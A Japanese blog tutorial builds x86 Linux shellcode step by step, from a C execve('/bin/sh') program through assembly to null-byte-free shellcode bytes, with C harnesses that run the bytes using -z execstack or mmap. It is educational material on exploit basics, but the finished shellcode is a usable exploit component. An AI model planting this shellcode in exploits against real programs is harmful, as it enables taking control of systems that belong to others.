ブログ置いてるのに何も書かないのもアレなので何か書いてみる。特に書くことは無いのだけれど、どういうことに興味があるのかわかるといいかなということで、今回はシェルコードの書き方について書くことにした。検索すればもっと洗練されたシェルコードが見つかると思うけど、どのようにして作るのかを知るために自分で作ってみた。この記事ではx86のLinux向けのシェルコードの作り方を書いたので、他の環境向けのシェルコードだと色々違うと思いますが、手順としては大体同じだと思います。
試しにC言語でシェルを起動するコードを書いてみます。execlやsystemなど標準Cライブラリ内の関数を使うより、直接システムコールを呼び出したほうがあとでアセンブリに書きなおす時楽なのでexecveを使用します。
/* shell.c */
#include <unistd.h>
int main(int argc, char** argv[])
{
char* _argv[] = {"/bin/sh", NULL};
execve("/bin/sh", _argv, NULL);
}
これをgcc -o shell shell.cでコンパイルして./shellで実行するとシェルが起動します。
次にアセンブリからシステムコールを呼び出す方法です。x86の場合、eaxにシステムコール番号を代入し、int 0x80することでシステムコールを呼び出すことができます。また、ebx,ecx,edxなどに値を代入することで引数を指定することもできます。例としてexitするだけのコードを書いてみました。exitのシステムコール番号は1で、ebxに値を代入することで終了コードを指定することができます。
.file "exit.S"
.intel_syntax noprefix
.section .text
.globl main
main:
# SYS_exit
mov eax, 1
# 終了コードは100
mov ebx, 100
int 0x80
これをas --32 exit.S -o exit.o; gcc -m32 exit.o -o exitなどでアセンブル・リンクして./exit; echo $?とすると終了コードとして100が帰ってきているのがわかります。
これでシステムコールの呼び方は分かったので、最初に書いたC言語のコードをアセンブリに書き直してみます。
.file "shell.S"
.intel_syntax noprefix
.section .text
.globl main
main:
# _argv[0] = command
lea eax, command
mov dword ptr [esp-8], eax
# _argv[1] = NULL
mov dword ptr [esp-4], 0
# eax==11: SYS_execve
mov eax, 11
# filename
lea ebx, command
# argv
lea ecx, [esp-8]
# envp
mov edx, 0
# システムコール呼び出し
int 0x80
command:
.asciz "/bin/sh"
as --32 shell.S -o shell.o; gcc -m32 shell.o -o shellでアセンブル・リンクしたあと、./shellでシェルが起動することが確認できます。
これだとシェルコードとして使うには不便なので、commandを使わないように書き換えます。
.file "shell.S"
.intel_syntax noprefix
.section .text
.globl main
main:
# リトルエンディアンで/bin
mov dword ptr [esp-16], 0x6e69622f
# リトルエンディアンで/sh\0
mov dword ptr [esp-12], 0x0068732f
# _argv[0] = command
lea eax, [esp-16]
mov dword ptr [esp-8], eax
# _argv[1] = NULL
mov dword ptr [esp-4], 0
# eax==11: SYS_execve
mov eax, 11
# filename
lea ebx, [esp-16]
# argv
lea ecx, [esp-8]
# envp
mov edx, 0
# システムコール呼び出し
int 0x80
次にシェルコードに\x00が含まれていると色々めんどくさい場合があるのでコード中から0が無くなるように調整します。objdump -d -Mintel shell.oするとmain関数は以下のように出力されます。
080483d4 <main>:
80483d4: c7 44 24 f0 2f 62 69 mov DWORD PTR [esp-0x10],0x6e69622f
80483db: 6e
80483dc: c7 44 24 f4 2f 73 68 mov DWORD PTR [esp-0xc],0x68732f
80483e3: 00
80483e4: 8d 44 24 f0 lea eax,[esp-0x10]
80483e8: 89 44 24 f8 mov DWORD PTR [esp-0x8],eax
80483ec: c7 44 24 fc 00 00 00 mov DWORD PTR [esp-0x4],0x0
80483f3: 00
80483f4: b8 0b 00 00 00 mov eax,0xb
80483f9: 8d 5c 24 f0 lea ebx,[esp-0x10]
80483fd: 8d 4c 24 f8 lea ecx,[esp-0x8]
8048401: ba 00 00 00 00 mov edx,0x0
8048406: cd 80 int 0x80
mov DWORD PTR [esp-0xc],0x68732f、mov DWORD PTR [esp-0x4],0x0、mov eax,0xb、mov edx,0x0に0が含まれるのでうまい具合に書き換えます。
.file "shell.S"
.intel_syntax noprefix
.section .text
.globl main
main:
# リトルエンディアンで/bin
mov dword ptr [esp-16], 0x6e69622f
# リトルエンディアンで/sh\0
xor eax, eax
mov ah, 0x68
shl eax, 8
mov ax, 0x732f
mov dword ptr [esp-12], eax
# _argv[0] = command
lea eax, [esp-16]
mov dword ptr [esp-8], eax
# _argv[1] = NULL
xor eax, eax
mov dword ptr [esp-4], eax
# eax==11: SYS_execve
mov al, 11
# filename
lea ebx, [esp-16]
# argv
lea ecx, [esp-8]
# envp
xor edx, edx
# システムコール呼び出し
int 0x80
これをコンパイルしてobjdumpするとこうなります。
080483d4 <main>:
80483d4: c7 44 24 f0 2f 62 69 mov DWORD PTR [esp-0x10],0x6e69622f
80483db: 6e
80483dc: 31 c0 xor eax,eax
80483de: b4 68 mov ah,0x68
80483e0: c1 e0 08 shl eax,0x8
80483e3: 66 b8 2f 73 mov ax,0x732f
80483e7: 89 44 24 f4 mov DWORD PTR [esp-0xc],eax
80483eb: 8d 44 24 f0 lea eax,[esp-0x10]
80483ef: 89 44 24 f8 mov DWORD PTR [esp-0x8],eax
80483f3: 31 c0 xor eax,eax
80483f5: 89 44 24 fc mov DWORD PTR [esp-0x4],eax
80483f9: b0 0b mov al,0xb
80483fb: 8d 5c 24 f0 lea ebx,[esp-0x10]
80483ff: 8d 4c 24 f8 lea ecx,[esp-0x8]
8048403: 31 d2 xor edx,edx
8048405: cd 80 int 0x80
これで\x00が無くなったので、試しにC言語から呼び出してみます。
/* shell2.c */
int main(int argc, char** argv)
{
char code[] = {
0xc7, 0x44, 0x24, 0xf0, 0x2f, 0x62, 0x69, 0x6e,
0x31, 0xc0,
0xb4, 0x68,
0xc1, 0xe0, 0x08,
0x66, 0xb8, 0x2f, 0x73,
0x89, 0x44, 0x24, 0xf4,
0x8d, 0x44, 0x24, 0xf0,
0x89, 0x44, 0x24, 0xf8,
0x31, 0xc0,
0x89, 0x44, 0x24, 0xfc,
0xb0, 0x0b,
0x8d, 0x5c, 0x24, 0xf0,
0x8d, 0x4c, 0x24, 0xf8,
0x31, 0xd2,
0xcd, 0x80,
};
void (*func)(void) = code;
func();
}
これをgcc -m32 -z execstack shell2.c -o shell2でコンパイルして./shell2で実行すればシェルが起動します。もちろん通常はそのほうが嬉しいのですが、gccはデフォルトでスタック領域を実行しないようにしてしまうようなので、これを実験する場合は-z execstackをつけてスタック領域を実行できるようにしておかなければいけません。
これでシェルコードが出来上がりました。次の記事ではあえて脆弱性のあるプログラムを作成して、そのプログラムでこのシェルコードを実行させたいと思います。
3月24日追記
mmapを使用すれば-z execstackなしでも実行できることに気付いたので参考までに
/* shell2.c */
#include <string.h>
#include <sys/mman.h>
int main(int argc, char** argv)
{
char orig_code[] = {
0xc7, 0x44, 0x24, 0xf0, 0x2f, 0x62, 0x69, 0x6e,
0x31, 0xc0,
0xb4, 0x68,
0xc1, 0xe0, 0x08,
0x66, 0xb8, 0x2f, 0x73,
0x89, 0x44, 0x24, 0xf4,
0x8d, 0x44, 0x24, 0xf0,
0x89, 0x44, 0x24, 0xf8,
0x31, 0xc0,
0x89, 0x44, 0x24, 0xfc,
0xb0, 0x0b,
0x8d, 0x5c, 0x24, 0xf0,
0x8d, 0x4c, 0x24, 0xf8,
0x31, 0xd2,
0xcd, 0x80,
};
char* code;
code = mmap(
0, sizeof(orig_code),
PROT_EXEC | PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0
);
memcpy(code, orig_code, sizeof(orig_code));
void (*func)(void) = code;
func();
}